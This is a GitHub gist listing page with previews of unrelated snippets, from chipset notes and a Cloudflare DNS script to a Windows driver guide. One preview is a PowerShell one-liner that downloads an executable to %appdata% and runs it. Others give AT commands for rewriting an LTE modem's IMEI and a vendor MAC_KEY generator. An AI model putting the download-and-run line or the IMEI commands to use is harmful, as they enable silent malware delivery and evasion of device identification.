Skip to content

Instantly share code, notes, and snippets.

View Anime4000's full-sized avatar

Anime4000

View GitHub Profile
@rajkosto
rajkosto / RTL960x_features.txt
Created December 14, 2022 23:36
ODI DFP-34X-2C2 / RTL960x chipset SDK feature bits description
HGU firmware features:
0 BDP (OMCI_CUSTOM_BDP):
0x001 = KERNEL:TLS_4095 = (0)tls_4095_us_rule_to_ds_rule, (1)tls_4095_us_act_to_ds_sact, (2)tls_4095_us_act_to_ds_cact, (3)tls_4095_us_set_mbr_port_by_svlan, (4)tls_4095_us_del_mbr_port_by_svlan
0x002 = KERNEL:ignore_dsPbit = (5)ignore_ds_pbit, this one is very slightly different (less magic values) in SFU firmware
0x008 = (15)cf_gen_vtfd_rule, (14)cf_check_vtfd_mode
0x010 = KERNEL:set_ds_bc_gem_flow_to_ds_bcster_mod = (6)omci_apply_ds_bcster_mod, (7)omci_set_ds_bc_gem_flow_to_ds_bcster_mod,
KERNEL:add_ds_tag_rule_to_ds_bcster_mod = (8)omci_add_ds_tag_rule_to_ds_bcster_mod, (9)omci_del_ds_tag_rule_to_ds_bcster_mod
KERNEL:reset_to_ds_bcster_mod = (10)omci_reset_to_ds_bcster_mod,
0x080 = (18)omci_ingoreExtVlanDefaultDrop (parameter & 0x01 => IGN_ME_171_DEFAULT_DROP, parameter & 0x02 => IGN_ME_171_TREAT_UNTAG, parameter == -1 ?)
0x100 = KERNEL:force_veip_rule_to_sfu = (13)force_veip_rule_to_sfu, (14)force_veip_us_r
@rajkosto
rajkosto / odi_keygen.py
Created November 18, 2022 12:56
ODI SFP XPON stick MAC_KEY generator
#!/usr/bin/env python3
#ODI DFP-34X-2C2 MAC_KEY key generator by rajkosto
import sys
import string
import hashlib
args = sys.argv
if len(args) != 2:
sys.exit("Usage: odi_keygen.py YOURMACADDR")
@harubaru
harubaru / wd1-3-release.md
Last active March 5, 2024 16:51
Official Release Notes for Waifu Diffusion 1.3
@Anime4000
Anime4000 / terminal.md
Last active March 18, 2024 12:55
Mikrotik LTE Change IMEI

Change Mikrotik LTE IMEI

Query which mode

/interface lte at-chat lte1 input="AT*PROD\?"

Enter Non-production mode

/interface lte at-chat lte1 input="AT*PROD=1"

Delete old IMEI

/interface lte at-chat lte1 input="AT*MRD_IMEI=D"

@aspose-com-gists
aspose-com-gists / find-replace-text-pdf-page.cs
Created December 23, 2020 03:48
Find and Replace Text in PDF C#
// Open document
Document pdfDocument = new Document("Document.pdf");
// Create TextAbsorber object to find all instances of the input search phrase
TextFragmentAbsorber textFragmentAbsorber = new TextFragmentAbsorber("text");
// Accept the absorber for desired
pdfDocument.Pages[1].Accept(textFragmentAbsorber);
// Get the extracted text fragments
@ProdigySim
ProdigySim / 1.l4d2-2200-gamedata-fixes.md
Last active April 30, 2023 18:18
L4D2 2.2.0.0 gamedata fixes

Introduction

SirPlease and ProdigySim were allowed early access to the Last Stand beta to check mod compatibility. We have been working on testing some sourcemod extensions and plugins, as well as reverse engineering some of the server code to discover necessary GameData changes.

These are the high level results of our investigations. Be aware that the server binaries could change up to the release day an these may no be perfectly accurate. I hope these will be a helpful starting point and/or reference for other plugin makers who are validating their gamedata and patches.

Breaking Changes

CBaseEntity Vtable

CBaseEntity vtable has a new member:

  • Linux: 14 CBaseEntity::ScriptGetModelName(void)const
@natowi
natowi / audio2midi.md
Last active March 21, 2024 21:05
List of open source audio to midi packages
@Ciantic
Ciantic / cloudflare-dyndns-a-aaaa-record-update.sh
Last active January 2, 2024 22:00
cloudflare dyndns script / update a A and AAAA record using bash script
#!/bin/bash
# Author: Jari Pennanen
# Url: https://gist.github.com/Ciantic/4e543f2d878a87a38c25032d5c727bf2
AUTH_EMAIL="john.doe@example.com" # Your Cloudflare email
AUTH_KEY="" # Get this from My profile -> API Keys -> View
DOMAIN="example.com" # main domain
SUBDOMAIN="home.example.com" # set A and AAAA-record of this subdomain
@henriksb
henriksb / Powershell download and execute one-liner
Created October 26, 2018 20:01
Quick one-liner to download and execute any file
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'ENTER URL' -OutFile '%appdata%\a.exe'; %appdata%\a.exe"
@TomCan
TomCan / gist:9644966
Last active April 9, 2024 00:04
Inject drivers in Windows installation after motherboard change
Today, after working with Windows for over 15 years now, I finally came across the solution to the
dreadfull BSOD STOP 0x0000007B after replacing the motherboard of a computer, or after moving the
harddrive to another computer, or after doing a P2V, or after ... you get the point.
Requirements:
- Windows install / boot CD
- Chipset / Mobo / Storage drivers of the new motherboard or storage controller
Steps:
- extract all the drivers to a USB thumb drive